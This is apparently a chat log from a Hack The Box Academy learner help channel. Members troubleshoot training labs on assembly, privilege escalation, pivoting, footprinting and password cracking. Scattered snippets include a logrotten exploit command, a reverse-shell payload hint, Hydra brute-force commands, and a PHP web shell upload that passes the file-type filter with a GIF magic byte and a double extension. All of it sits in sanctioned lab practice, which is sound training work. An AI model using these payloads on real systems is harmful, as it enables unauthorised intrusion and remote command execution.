modules

[fringe sand]

us academy 1 in my case

https://academy.hackthebox.com/module/112/section/1075

[sinful drift]

that is not the problem the web page where I have the learning module Academy open is not connected by a VPN This is how I always have it open and it always works normally but this time it is not connecting to the target IP I only have the VPN open to a separate virtual machine and that is working very well

[valid viper]

So real quick...

Even on pwnbox mssqlclient.py isn't working.

So this is a pretty big joke.

[neat idol]

Its also down for me. Im on a splunk module, not spawning

[sinful drift]

After waiting like 5 minutes the target IP address finally appeared anyway Thank you very much for the help

[neat idol]

Working now

[fringe sand]

same, worked now

[ocean night]

Looks like a bit of a backlog on spawning instances, apologies for the inconvenience

[tidal mango]

Is there anyone who can help me with this assembly code module? I am stuck once again...
This is the question, "The attached assembly code loops forever. Try to modify (mov rax, 5) to make it not loop. What hex value prevents the loop? "
and here is what I currently have the code set to.
global _start

section .text
_start:
mov rax, 10 ; change here
imul rax, 5
loop:
cmp rax, 10
jnz loop

[valid viper]

compare rx, 10

Would changing what's going into rax not stop the loop since the result from compare changes?

[quasi jungle]

Didn't work.

[valid viper]

The value in the rax register is 50.

So you need to get it down to 10.

[tidal mango]

I would think it would, but when I run it it seems to always run the jne/jnz which seems to mean its looping still.

[sinful drift]

I cannot connect to the target IP through xfreerdp, the virtual machine has internet and is connected perfectly with openvpn

[valid viper]

insul rax 5 is setting it off...

5 * 10 ...

Set rax to 2 🙂

I love assembly 😄

[quasi jungle]

Now its showing untrusted domain

[tidal mango]

well I did do that, and that was the one time it seemed to not loop, but it would not take my answer as correct, let me double check it.

should I set the break to loop still to test? sorry for all the questions, this is hard for me to wrap my head aroudn still

[valid viper]

rax register = 10
imul rax, 5 = 5 * 10 = 50

So, if you have 2 in the rax register...

imul rax, 5 = 2 * 5 = 10 🙂

And now our compare function = true.

Right now cmp is returning false because 10 != 50.

global _start

section .text
_start:
mov rax, 2 ; change here
imul rax, 5
loop:
cmp rax, 10
jnz loop

[tidal mango]

so yeah, setting mov rax to 2 look like it does not loop, rax appears to be 0xa at that point. but it will not accept that as the answer. ``` [ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xa
$rbx : 0x0
$rcx : 0x0
$rdx : 0x0
$rsp : 0x00007fffffffd8c0 → 0x0000000000000001
$rbp : 0x0
$rsi : 0x0
$rdi : 0x0
$rip : 0x000000000040100d → <loop+0004> jne 0x401009 <loop>

→ 0x40100d <loop+0004> jne 0x401009 <loop> NOT taken [Reason: !(!Z)]

[valid viper]

Assembly is one of my favorite languages.

Weird :/

[tidal mango]

I am struggling with it! I really want to learn it...

[valid viper]

x86?

[tidal mango]

yeah

[valid viper]

May I make a suggestion?

[tidal mango]

sure

[valid viper]

https://maldevacademy.com/

[fathom pendant]

You missed a :

[valid viper]

When you learn it in a way that you can apply it..

[fathom pendant]

https://maldevacademy.com

[valid viper]

So I did :/

It's been a long day, and I have an interview tomorrow. It's stressing me out.

[tidal mango]

Maybe I am not understanding the HEX part of this question? "The attached assembly code loops forever. Try to modify (mov rax, 5) to make it not loop. What hex value prevents the loop? " I tried 0xa and all variations of 2 I can think of..

[valid viper]

Convert 2 to hex.

[tidal mango]

I did that as well...

[valid viper]

Bah...

[tidal mango]

agreed!

[valid viper]

This is for HTB?

[tidal mango]

LOL

yes

[valid viper]

CWEE?

[tidal mango]

maybe its is part of that... Intro to Assembly Language course

[valid viper]

https://stackoverflow.com/questions/11733731/how-to-represent-hex-value-such-as-ffffffbb-in-x86-assembly-programming

[cloud urchin]

can anyone help me with logrotate? i obtained a shell once, then the servers went down before i could grab the flag. now i can't get a shell again.

[fathom pendant]

Intro to asm isn't in cwee

[soft cedar]

linux privesc?

[cloud urchin]

yeah

[soft cedar]

try /bin/dash -p after obtaining the shell.

that seems to maintiain persistence.

[cloud urchin]

that's the thing, i can't get the shell again

[tidal mango]

well..... wtf works now. I had a similar issue on a earlier module. Thank you for helping me to understand this better and the links! I am going to delete the answer from here.

[soft cedar]

the rev shell?

[cloud urchin]

right. i'm doing the same things but nothing shows up in /etc/bash_completion.d, and no shell connects

[valid viper]

Ah, interesting. Maybe they're going to do an exploit dev course?

[cloud urchin]

i also reset the machine

[soft cedar]

I think what i did was open 2 terminals

[valid viper]

Of course my friend.

Rise together or fall apart.

[cloud urchin]

two terminals wasn't working for me, i ran the command like this dd if=/dev/urandom of=~/backups/access.log bs=1M count=10; ~/logrotten/logrotten -p ./payload ~/backups/access.log

i had to trigger it at the same time

but it only worked once, can't trigger it with echoing into the log file

well it 'triggers' it but nothing happens

i also just tried a command to add a root user instead of shell, not working either

[soft cedar]

I ran the logrotten first and I forced the log rotation in the 2nd terminal. by writing to the file.

that worked for me, i played with it several times.

[cloud urchin]

Yes that has the same effect

[soft cedar]

could it be the payload

I maintained the payload used in the section.

[cloud urchin]

i'm using that as well. i don't get it, it worked once and now doesn't

i'll restart it again and try again i guess

[soft cedar]

sure man, I think you can also force by copying the .log1 to .log

that also triggers it.

[cloud urchin]

finally got it again

[cloud urchin]

Can I dm you about this

[soft cedar]

yeah sure.

[quick crane]

Is the Secure Coding 101: JavaScript module a prerequisite for the WHITEBOX PENTESTING 101: COMMAND INJECTION module?

[cursive oriole]

In Active Directory Enumeration & Attacks ( Initial Enumeration of the Domain):
Its stated that MDNS makes us aware of the ACADEMY-EA-WEB01 host.
But Wireshark output shows MDNS as ACADEMY-EA-WEB0.local

How did they come to the conclusion that its WEB01 instead of WEB0?

[fathom pendant]

typo in the screenshot

it is in-fact meant to be WEB01

[cursive oriole]

okay

[dawn eagle]

Any one please help me

I want reverse email lookup took

[fathom pendant]

Google

[dawn eagle]

Yaa i tried but it's not working

Tool name

?

[fathom pendant]

That's not what this channel is for

Read and follow #welcome to access more of the server

[pliant coyote]

how to dentify how many zones exist on the target nameserver?

[cloud urchin]

you'd have to enumerate them, did the module go over how?

[rustic sage]

Hi I am new
where should I start?

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[grand portal]

need hint with this During our examination of the USN Journal within Timeline Explorer, we observed "uninstall.exe". The attacker subsequently renamed this file. Use Zone.Identifier information to determine its new name and enter it as your answer.

[tulip dragon]

cpts is now a part of offical certs

job recuruiter finally asking for cpts now

[rapid fjord]

where?

[crude ether]

guys

@rapid fjord can u help me with something

[jaunty iron]

Why I still can’t write to the general chat

[tulip dragon]

https://tenor.com/view/epic-embed-fail-ryan-gosling-cereal-embed-failure-laugh-at-this-user-gif-20627924

haha finally got the chance

[analog dock]

#welcome

[north bramble]

hello frens I have a very stupid question again...

how do I use the powershell on pwnbox? before each command add $?

[fringe urchin]

are you using the MATE terminal or the powershell one?

[north bramble]

uh I think the powershell one

but it doesnt say

PS>

it says

$

[fringe urchin]

im pretty sure that depends on the configuration
like if you are in intergrated Scripting Env then its PS>
but if you are in powershell console or termnial then its common to see $

i cant check what pwnbox has since it doesnt work for some reason

and if you write $ before something its gonna take it as a variable

example:

$number=10
Write-Host $number

[north bramble]

Okay, I think I dont need it rn. thanks for helping.

I thought I had to run a command through PS on pwnbox... its through the RDPd machine

[fringe urchin]

is that from a specific module?

[north bramble]

yeah password attacks

[fringe urchin]

its the next module for me so cant help much further

[north bramble]

Oh

[north bramble]

wait Ima message you

[pure jetty]

how long to finish one module i take one week omg

[rustic sage]

Hey everyone
I am having some truble with the SOCKS5 Tunneling with Chisel in the module PIVOTING, TUNNELING, AND PORT FORWARDING.
I got Chisel on the Ubuntu device after building it (I tried the shrunk and unshrunk versions), when i try to run it I get these errors:

./chisel: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.34' not found (required by ./chisel) ./chisel: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.32' not found (required by ./chisel)

so because the Ubuntu machines doesnt have internet connection to download the packages i downloaded the packge my self and got it on the machine.
if I try to install it using: sudo dpkg -i libc6_2.37-15.1_amd64.deb
I get these errors:
dpkg: regarding libc6_2.37-15.1_amd64.deb containing libc6:amd64:
libc6:amd64 breaks locales (<< 2.37)
locales (version 2.31-0ubuntu9.2) is present and installed.

dpkg: error processing archive libc6_2.37-15.1_amd64.deb (--install):
installing libc6:amd64 would break locales, and
deconfiguration is not permitted (--auto-deconfigure might help)
Errors were encountered while processing:
libc6_2.37-15.1_amd64.deb

I am not sure what to do next, any tips 🙂 ?

[vestal charm]

I'm really embarrassed to ask this . Don't come at me pls
I can't connect to SSH. Permission denied every time. What is wrong?

[soft cedar]

you will have to compile it statically or download an old version of the pre-compiled binary.

[gray merlin]

Provide more info. What are you connecting to, how are you connecting. Share screenshots.

[soft cedar]

try version 1.74 or downwards.

https://github.com/jpillora/chisel/releases

[rustic sage]

@soft cedar okay thank you very much 🙂 i will try that

[midnight crow]

Anyone had trouble with the NFS section in the footprinting module? I'm trying to mount the drive on my machine but get an operation not permitted error after attempting to mount <mount.nfs: Operation not permitted>

I can get a little bit further using the pwnbox but get stuck after trying to mount again with <mount.nfs: access denied by server while mounting>

[fathom niche]

I can not run sqlplus at the module "Oracle TNS"
How can I run oder Install sql plus?

[bitter wedge]

I am stuck on the Linux Local Privilege Escalation Skills Assessment. I can't get flag4. Ive tried like 10 times to upload the war shell to tomcat ot get a reverse shell but I keep getting errors. Can anyone offer some advice?

[soft cedar]

you're using a wrong payload.

[bitter wedge]

which payload should i be using? this is the only war one i see on hacktricks and revshells.com

[soft cedar]

try a jsp payload.
-p java/jsp_shell_reverse_tcp

[fringe urchin]

i had to install it by hand. the whole Oracle TNS and sql plus didnt really work on my machine so had to install both manually.
i followed this one specificly for sql plus
https://www.geeksforgeeks.org/how-to-install-sqlplus-on-linux/

[bitter wedge]

wow that worked im dumb lol

[soft cedar]

The web app (tomcat) runs on java servlets & JSP scripts.

[fathom niche]

thank you

[fringe urchin]

this one has the correct syntax, the one that humangod already told you
https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#war

[inland fossil]

Just finished Password attacks medium lab, but cant really shake the feeling that it was on accident 🙂 ||| was there some hint somewhere that you need to use the key from d-man again on ..next.. user? Because I was just desperate and tried it without good reason |||

[soft cedar]

That’s the intended way.

[silver iris]

Hi guys,

question for Active Directory Skill Assesment Part 1. Is there a good way to upgrade your webshell? I have to admit i skipped Pivoting, Tunneling, and Port Forwarding module because i wanted to do AD first. Do i need skills from that module for that?

[dim wolf]

you absolutely need to do that module first before diving into the AD Enum module

[next bronze]

yep you can't really do the SA if you don't know how to pivot, how are you gonna reach the internal hosts?

[silver iris]

Thanks, thats all i needed to know. I didnt need it in the module itself, so i wasnt sure.

[fringe sand]

https://academy.hackthebox.com/module/147/section/1391

is the ssh host down for anyone else? I can start the target VM, but ssh sam@10.129.250.23 just hangs forever

[marsh salmon]

Down for me as well

[worn geode]

HI anyone experiencing high latency from VPN connections ?

[patent oak]

I'm about to rotate a log through my screen

[dim wolf]

the log rotating

[patent oak]

What is the deal with this Logrotate Linux priv esc. I must have rotated the thing 50 times. Using the logs that are rotateable!

[soft cedar]

You need to force the rotation.

[patent oak]

No, I am a fool. Had a leading slash

[frail thicket]

Module: Attacking Authentication Mechanisms
Section: Weak Public/Private Keys

I followed the steps to import the private and public key on Burp SAML Raider, imported the key pairs into Repeater response, re-signed the assertion, but I still receive code 302 redirecting me back to root /.
Has anyone also experienced this same problem?
Any tips on what I might be doing wrong?

[patent oak]

It finally triggered but my shell failed. Same reason no doubt

[soft cedar]

yeh that happens: you can maintain persistence by setting up another listener and immediately putting another rev shell on the one you got.

or typing /bin/dash -p

[patent oak]

For some reason I can't even get the first shell. I ran this payload from bash and I caught it no problem. The rotation is working and creating the files now. Just no shell

I mean I tested the payload and its fine just not when triggered by the logrotten

[fresh bramble]

Windows Privilege Escalation Citrix Breakout Accessing SMB share from restricted environment - I have been working on this pathetic box for weeks - always on my mind - the last open question - getting the ADMIN - I have been researching the ZEN endgame box - exploring all the wonderful exploits on this box if it wasn't so tied down! - Anyway - I am hung up big time on the getting the smbshare using the Paint app - I have gone through so many IPs - I know and use the way to get a command shell using file explorer and I can then use the ipconfig to find the IP addresses - I have no idea what I am connecting to!! All I need is that *!@ing PowerUp file!! then I can add a user that should have the Admin privileges! Help ME!! - Update - Never mind - I am so embarrassed!!

[soft cedar]

I don't mean for the payload but the rev shell to prevent it from closing.

[patent oak]

I get you now. It just opened for the first time at least and I did nothing differently I think..

Thanks for your help!

[rustic sage]

how do I use a bot that I created to hack a server

[patent oak]

It's finally over

[dim wolf]

this is not the place to ask.

you should also be more specific... perhaps #red-team may help

[acoustic owl]

Read #rules

[wooden perch]

@solar grove any luck with the dns footprinting? Im stuck on the fqdn of xx.xx.xx.203 too

[acoustic owl]

Find all zones

[wooden perch]

Ive tried internal too, might be a syntax issue

Ive reviewed lots of messages with people asking the same, but no luck

Used fierce seclist, got nothing back

[soft cedar]

not all zones allow a zone transfer.

[wooden perch]

I just see a zone when using dig soa

[soft cedar]

did you use it with Dnsenum?

[wooden perch]

Yes, tried the one liner and dnsenum

[soft cedar]

you should get some results with the script.

[wooden perch]

Gonna try more, thanks

[old atlas]

is it possible to reset module progress?

[acoustic owl]

internal allows a zone transfer, right? So why do you want to bruteforce the zone?

[acoustic owl]

No

[old atlas]

thank you

[zenith helm]

Hey, has anyone here completed the ADCS module? Going through skill assessment and the creds provided don't seem to be working

[next bronze]

they work, what error are you getting

[autumn garnet]

can anyone give me a hand with the "Broken Authentication Predictable Reset Token, question 1"

[frozen mesa]

Linux privilege escalation -> Python Library Hijacking: anyone a hint how to get it working? I've tried to edit mem_status.py (with the code from the module), created a psutil.py with the same code. Both times i tried to run it with sudo /usr/bin/python3 /home/htb-student/mem_status.py but no escalation yet. What am i doing wrong?

[zenith helm]

Permission denied - even after adding lab.local into /etc/hosts and trying both name and IP via ssh. I tried to copy and paste password in to ensure I'm not making a typo, but same error

[zenith helm]

@next bronze

[next bronze]

permission denied to do what?

[zenith helm]

Correction - access denied to login via ssh to the initial machine- even tried port forwarding with ssh but no luck

[next bronze]

htb-student to ssh, tom is the domain creds

[zenith helm]

Thanks. Once again complicating the simple bits

[next bronze]

yeah you're ssh'ing into a jump host

[zenith helm]

Makes complete sense now, just didn't help I took the reading for full surface value while missing the bit provided to login under the target machine details 🤯

[next bronze]

https://tenor.com/view/it-be-like-that-sometimes-like-that-sometimes-snoop-dogg-sometimes-just-like-it-gif-12501830

[zenith helm]

https://tenor.com/view/vince-staples-fax-it-do-be-facts-tho-its-the-truth-gif-16329641

[half stag]

hey, could someone help me with Pasword Attacks Lab - Easy, i tried brute forcing but no resuts

[potent thorn]

I am also stuck on this at the moment lol

was just about to ask for help too. I downloaded the resources and ran hydra -L username.list -P password.list ftp://<IP> -t64 and got no results.
Given that the question gives us almost no details, are HTB really wanting us to mutate the list to get the answer and potentially sit through hours of cracking time?

[half stag]

EXACTLY

[potent thorn]

guessing you've followed the same process as me?

[half stag]

yep

[fathom pendant]

nope

always enumerate

[crimson eagle]

CDSA Module: Get-WinEvent
Anyone know what's wrong with this command?
I just tabbed each file so I don't think I need quotation marks for Lateral Movement. Wildcard at the end to check all logs in Lateral Movement file.

[half stag]

i tried anonymous ftp, ran nmap scans

[potent thorn]

same

[tribal wolf]

Module: PASSWORD ATTACKS
I am trying to crack the password of an encrypted ssh key using john and not really getting anywhere

python2.7 /usr/share/john/ssh2john.py id_rsa > crack

ran that to get the key into a hash form that john can use and then ran

john -w /usr/share/wordlists/rockyou.txt crack

and cant get it to crack. I used the password list provied by the module, I generated a modified wordlist using the provided custom rule and tried that. didnt work.

browsing the forums it seems that the rock you list is supposed to work, but for good measure i tried a few others that I could find, nothing worked. beginning to suspect theres something wrong with my ssh key or the created hash file by ssh2john

[half stag]

dont use rockyou

use the list provided in thr resources

[tribal wolf]

i did

[fathom pendant]

what section?

[tribal wolf]

even mutated it with the custom.rules list and nothing

its the protected files sectionj

[half stag]

you first have to apply the rules to it

[tribal wolf]

yep, did that too

[half stag]

can i get a screenshot of the id_rsa??

[tribal wolf]

sure np, one sec

[half stag]

it should work

[potent thorn]

try running john --wordlist=<wordlist> crack

also unsure but maybe adding the file extension .hash would help?

did you cat the hash file to check its formatted correctly?

[half stag]

try using the mut list you made for kira password

[half stag]

did you got a foothold on the lab?

[potent thorn]

not yet :/

[analog dock]

Remove the line numbers

Or is that not actually on the line

Oh nvm it’s encrypted, you need to crack it

[fathom pendant]

that appears to be line numbers in the text editor

[analog dock]

Yeah could be it lol

But I’ve seen some weird copied stuff as well

[half stag]

https://tenor.com/view/it-be-like-that-sometimes-like-that-sometimes-snoop-dogg-sometimes-just-like-it-gif-12501830

[fathom pendant]

also -t64 is different from -T64

[half stag]

should we brute force??

[fathom pendant]

gimme a sec booting up my notes to see what I did

[tribal wolf]

I tried that as well

and yea it was the line numbers from the editor

[half stag]

it should work, try reseting probably

[fathom pendant]

"Using Hydra to bruteforce ftp with the basic user and password list" seems to be the last thing I noted

for the foothold

[half stag]

it would take forever

to finish that list

[fathom pendant]

it takes time yes

but it won't take the full estimated time

[half stag]

so the username list and the mut_list

thanks @fathom pendant

[fathom pendant]

nope

just the basic password list

[half stag]

oh k

[potent thorn]

I've definitely done that list lol. Unles its ssh not ftp we need to attack?

[fathom pendant]

also if you use too many threads it can drop some; leading you to miss the answer

[fathom pendant]

it's definitely ftp

[half stag]

thnx

[fathom pendant]

ssh with hydra is IMMENSELY slow

[potent thorn]

maybe im using too many threads then

[half stag]

use 48

[fathom pendant]

the most stable is 48

[potent thorn]

noted

[fathom pendant]

some people need to use less

but overall 48 is the most stable/fastest

[potent thorn]

ok thanks. will see what happens. I wasn't aware hydra could miss some by increasing thread count

lol

i just got it like straight away with 48

[half stag]

lol

i didnt

[fathom pendant]

also it might be faster to add -u to the command

to loop around users since the password file is larger

[potent thorn]

i've tampered with my username list order a bit, assuming it would be a name rather than a service/generic account like with other htb examplers

[fathom pendant]

just make sure you saved the original list

just in case it's needed for another lab

[half stag]

i would wait then

[fathom pendant]

ye

i would say ~20 minutes should be the wait time give or take

could be faster

[half stag]

k thanks

[potent thorn]

my trouble with this module is I am always doubting im on the right lines, not wanting to wait like an hour for a crack list to finish and not get the answer T_T

[half stag]

same

[fathom pendant]

in general the most time i've had to wait (when it wasn't user error) has been 30 minutes

also remember the estimated wait time isn't the actual wait time

i.e. just because the list says it'll take 1h+ to get through it doesn't mean you're sitting there the whole hour

[wooden perch]

I was able to solve it after googling a bit but I still don't understand how I would find that on my own

[soft cedar]

Why are you editing the mem_status script?

[fathom pendant]

figured i'd check in, got in?

[fathom pendant]

ok so this one, yes you do need to bruteforce with dnsenum -- it's just a matter of trying all the found subdomains

which you can find with a simple dig axfr inlanefreight.htb @ip

then just put the subdomains in a file and just do a list off that

something else @half stag and @potent thorn since you're only needing to assume one login you can add -f to the hydra command to make it stop once it finds a user/pw combo (in case you want that knowledge for later)

(it auto does this if you supplied a username iirc)

[half stag]

oh thanks

but i am still waiting

[fathom pendant]

that way you don't accidentally miss the output

[fathom pendant]

just to let you know i was running it as well <3 so it's closer to ~30 minutes for the pw (at least for the machine i'm using)

[half stag]

how do we know the password if we miss it?

[bright spire]

So quick question for you guys. Is the Linux fundamentals module encouraging us to use google and find answers or something? Multiple parts i've gotten to where they dont even go over the info we need in order to complete the excercise. I have to go to google and find examples of ways commands are used and then it makes sense.. I don't want to continue this course if it'll be this way the whole time so thats why I ask. I do enough google fu at my helpdesk job i'd rather not have to do it while learning. If they had the tid bits of info I find online, in the course it would be super helpful.

[fathom pendant]

it'll still show up in the terminal

[fathom pendant]

yes it's encouraging google

also the sections are a bit out of order

[bright spire]

Here's an example. The "optional" excercises for practicing grep give me this: https://i.imgur.com/WKmK5UK.png. I searched man page of grep and couldn't find the info I needed anywhere, and it was not gone over at all so far during the course, so am I supposed to just google and get spoonfed the answers?

[fathom pendant]

a lot of the commands needed though are given in one of the sections

[half stag]

oh yeah , i found a password

[fathom pendant]

grep -e allows for regex

[fathom pendant]

now laugh at how simple the password is

[half stag]

yeah

[fathom pendant]

the info you're looking for is in relation to regexp btw

or regular expressions

which isn't a unique thing to grep

[bright spire]

Yea i figured the part out now after googling, but it feels like im cheating myself. i want to figure it out on my own but it was not successful unfortunately

[acoustic owl]

It is important that you understand DNS and how it is structured. Everything else will follow automatically

[fathom pendant]

you're not gonna figure out regexp soleley on your own

as there's tons of wildcard characters and expressions

i.e. \s being used for space/tab delimiting characters

[bright spire]

Gotcha. I'm still a little stuck on regexp but after a little bit of using it i think i'll be good. i couldnt find any info on it anywhere besides this section which gives me the different kinds of brackets to use for it.

[fathom pendant]

yes

brackets are used to define ranges

i.e. you're looking for specifically these things

[bright spire]

Thanks for your help always Marcie

[fathom pendant]

[a-zA-Z0-9] searches the alphanumeric charset

https://www.rexegg.com/regex-quickstart.html

[wooden perch]

The lesson learned for me is that subdomains can also be dns servers

[acoustic owl]

In this lesson you only need the IP of the target as nameserver

[crimson eagle]

Anyone know if it's possible to show the executable? Not sure about the proper syntax

[dim wolf]

try Image

[toxic apex]

is the smtp header from http attacks just completely broken? everytime i start the lab it has 404s on the mail hog.
I used a python script for a full combination of every header every spot + extra layers of encoding + mutliple lines and get nothing.

---

I just got it. with the same payload as I tried before. So if you find this vai search and it doesn't work just reset the machine a few times.

[crimson eagle]

Is there a limit to Select-Object (Do I need to delete one of them) for Image to work?

[dim wolf]

well you separated -FilterHashTable from Get-WinEvent with a pipe

[heavy edge]

i hate the rdp boxes

literally upgrade the academy

[astral inlet]

yes the rdp sessions are crap

way to slow

[heavy edge]

im doinf the socks over rdp

its terrible

[astral inlet]

poor guy

[fathom pendant]

there's a suggestion to change the networking mode to modem

[astral inlet]

they crashed at least 30x when i was doing them

[fathom pendant]

for connection reasons

[heavy edge]

already did

and i reset the box and changed vpns

[fathom pendant]

ah then it's just a shrimple skill issue

[fathom pendant]

changing vpns won't make a difference if the remote sessions are internal problems

and not external, like you remain connected to the jump host

[faint gulch]

Can someone help me on the Lateral Movement section at the Attacking Enterprise Networks module, before I brake my laptop? I am trying to add the user to the administrators group for hours on end and it does not work.

[fathom pendant]

but the jump host says "no"

[fathom pendant]

after you add user: log out and log back in

[astral inlet]

please no spoilers on EAN

[faint gulch]

I did that, I also updated the policy

[heavy edge]

can i just get the flag from someone? because its dropping each time i rdpo

[fathom pendant]

did you actually click "log out" or did you close your remote connection

two different things

[fathom pendant]

no, technically still cheating

i'd recommend waiting at least 10 minutes when you spawn these boxes before tackling them

to allow all services to spin up

[faint gulch]

If I click "sign out" the rdp connection drops

[fathom pendant]

yes i'm aware

i'm stating that some people just hit the 'x' button on their remote desktop client and it doesn't actually log out

[faint gulch]

Oh ok, now I have done that, and used gpupdate as well but nothing works.

[next bronze]

try setting these /bpp:8 /network:modem /compression

[fathom pendant]

did you try run as administrator and use that user's password to see if it took?

[faint gulch]

I can do that now, but I am checkind by net localgroup administrators and the user is not there

[fathom pendant]

¯_(ツ)_/¯

outside of that I can't really help you

haven't done the module

also people prefer to do this module blind

all I can say is if you're truly stuck on that section: read the module section... it sucks but hey

the module itself is a walkthrough

[faint gulch]

Yea, that's what I am doing and I follow the exploit step by step (it is not that complex really) but does not work. Anyway thanks, I will probably give up for now. I am out of ideas.

[fathom pendant]

¯_(ツ)_/¯

some people said it took a few times of them doing it to get it to take

[heavy edge]

nope

[next bronze]

I have ~200 ping to the servers and I was able to do the modules fine

[potent thorn]

sooooo. I'm on medium labs for Password attacks, enumerated, got a zip archive, cracked the password to reveal a docx file. Can't open the docx file and not sure what to do lol. I've tried installing pandoc and other resources and they say its not parsable. :C

[fathom pendant]

openoffice and officelibre can open it

[dim wolf]

the RDP modules could have been worse

[heavy edge]

Open it in windows that’s what I did

[astral inlet]

rdp is so nice , typing in slo mo

[heavy edge]

I really hope the rdp machines in the exam are not this bad

Or else I will lose my shit

[astral inlet]

afaik performance is good

in the exam

[heavy edge]

I would really hope so, but it’s sad that they can’t update the performance to match that of the exam in the modules

[astral inlet]

64 bytes from 10.129.210.60: icmp_seq=41 ttl=127 time=92.6 ms
64 bytes from 10.129.210.60: icmp_seq=42 ttl=127 time=2119 ms
64 bytes from 10.129.210.60: icmp_seq=43 ttl=127 time=1087 ms

[woven zenith]

put "sudo" in front of that, that's what worked for me. Although the user/pass isnt allowing me to login lol

[potent thorn]

officelibre wont install on the pwnbox... I;ve tried this but keep getting errors

trying to install libre office
https://wiki.debian.org/LibreOffice#How_to_install_LibreOffice
https://www.libreoffice.org/download/download-libreoffice/?type=deb-x86_64&version=24.2.2&lang=en-GB
![[Pasted image 20240405195451.png]]

wget https://download.documentfoundation.org/libreoffice/stable/24.2.2/deb/x86_64/LibreOffice_24.2.2_Linux_x86-64_deb_sdk.tar.gz

tar -xvf LibreOffice_24.2.2_Linux_x86-64_deb_sdk.tar.gz

None of the above worked so went to this site
https://snapcraft.io/libreoffice

$ sudo apt update
$ sudo apt install snapd
$ sudo snap install libreoffice 

[fathom pendant]

Did you also do the apt install ./Libreoffice... from the site?

[crimson eagle]

CDSA Module Windows Event Logs & Finding Evil -> Skills Assessment
Need a nudge in the right direction for determining the process responsible for the DLL hijacking attack.
Not sure what else to specifically look for other than Sysmon Event ID 7. I think ImageLoaded is key but not sure which dll to look for.
Current command in PS is Get-WinEvent -FilterHashtable @{Path='C:\Logs\DLLHijack\DLLHijack.evtx'; ID=7} -MaxEvents 5 | Select-Object Property *

[dim wolf]

there's an event you can filter for to find it.
https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#events

[heavy edge]

why is the pivoting skills assessment module easier than half of the excercises

[crimson eagle]

It's event ID 7 right?
I added it in my command and I did see all output with event ID 7s.
Or should I be filtering Sysmon instead of DLLHijack.evtx?

[dim wolf]

there's a different event you can filter for to find it.

[heavy edge]

let it begin

[fathom pendant]

It's not bad

[crimson eagle]

Bet ty. Will look again when I'm home.
I know there's other ways to get to an answer but nothing else is wrong with my command other than the ID?

[dim wolf]

if you're getting results back, then there shouldn't be anything wrong

[cedar yew]

hello guys i have question protectec archives modüle
I cracked kira users ssh id_rsa file and get the password but now I need to log in with that password. When I log in I get a permission denied error.

Use the cracked password of the user Kira, log in to the host, and read the Notes.zip file containing the flag. Then, submit the flag as the answer.

[brazen saffron]

I found a vuln of ||XXE|| but I would like to know how can I run a command 🤔 with ||svg||? https://academy.hackthebox.com/module/136/section/1310

[fathom pendant]

You'll need to crack the pw for Notes.zip

[cedar yew]

Yes, but I couldn't enter the machine with Kira's password that I cracked. -_-

[fathom pendant]

It's the password you used for credential hunting

Also, perhaps the rsa id file isn't kira's

[cedar yew]

I downloaded the id_rsa file in the protected files module and cracked the password of the kira user.

[fathom pendant]

I'll have to revisit that to jog my memory, but you might be misunderstanding the assignment

[cedar yew]

previous section

and after section

[fathom pendant]

It's not telling you to use the rsa key here

Also: section - not module

[cedar yew]

sorry

[fathom pendant]

It's telling you explicitly to use their password

Also: be sure to use lowercase

[sleek moss]

can someone help
File Upload Attacks

Page 7
Type Filters

Type Filters

i changed it to image/gif GIF8

it worked then i changed extension work then i put in content no work!

[solar grove]

I solved the last question in the FOOTPRINTING SNMP room but using grep
I don't understand the logic of using OneSixtyOne and Braa, can someone explain?

[fathom pendant]

Onesixtyone and braa grab the OID info

[sleek moss]

pht
phar
pgif
phtml
phtm

working content-type:

image/gif
image/jpeg
image/jpg
image/png

[fathom pendant]

You just can use grep to further limit output

[solar grove]

@sleek mossYou must use a double extension to pass the white list. Set the appropriate Content-Type and finally don't forget to write the magic byte inside the shell code.

@fathom pendantYes, I know, but
braa <community string>@<IP>:.1.3.6.*
no matter what I write in the community string expression I get no result

[fathom pendant]

Well you need to use the right community string

It's not just a random word

Onesixty one pulls the community string by testing a wordlist

Then from that output [<community string>] you use with snmpwalk or braa

[solar grove]

@fathom pendant a statement like
iso.3.6.1.2.1.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1

how can i search from braa

braa <community string>@<IP>:.1.3.6.* # Syntax

Can you help me?

[fathom pendant]

You don't need to do any crazy searching

The braa syntax already gives you a more defined output

The ip:.1.3.6.* is searching the OID

[solar grove]

I can't get printout from braa I can't use it @fathom pendant

[fathom pendant]

What is your exact syntax

Because you don't include brackets with the comm string

So braa somestring@ip:.1.3.6.*

[solar grove]

Once we know a community string, we can use it with braa to brute-force individual OIDs and enumerate the information behind them.

I don't understand what community string is in the above article. So what should I search for?

[fathom pendant]

You use onesixtyone to get the community string

It gives it in ip [string] deviceinfo

The wordlist used may be in a different place if you're not using pwnbox

[solar grove]

onesixtyone -c /opt/useful/SecLists/Discovery/SNMP/snmp.txt 10.129.238.4
Scanning 1 hosts, 3220 communities
10.129.238.4 [public] Linux NIX02 5.4.0-90-generic #101-Ubuntu SMP Fri Oct 15 20:00:55 UTC 2021 x86_64
right ?

[fathom pendant]

Yes

That has the string in it

[solar grove]

I don't understand how to use this sting in braa.

[fathom pendant]

You replace <community string> with it

[solar grove]

All of them?
Linux NIX02 5.4.0-90-generic #101-Ubuntu SMP Fri Oct 15 20:00:55 UTC 2021 x86_64

[fathom pendant]

No

Read what I said the output looks like again

And the example braa command in the section

You're trying to overthink it

Look at the example outputs from braa and onesixtyone and determine what needs to be used

[solar grove]

Dude, I can't do it, I already solved the question with smpwalk using grep, but I don't understand the logic of these 2 tools, can you write an example of a working shell code?

[cobalt field]

Am new here

[fathom pendant]

It's not shellcode

[cobalt field]

Hi everyone

[fathom pendant]

Dude

Look at the example braa command

It shows you exactly what's needed

[sleek moss]

@solar grove o dod bit ot dodmt worl Content-Disposition: form-data; name="uploadFile"; filename="shell.gif.phar"
Content-Type: image/gif

‰GIF87A
<?php system($_REQUEST['cmd']); ?>
-----------------------------392627226623836254432829522750--

[fathom pendant]

I'm not writing an example because one is already given in the module

[fathom pendant]

? They're working on footprinting snmp

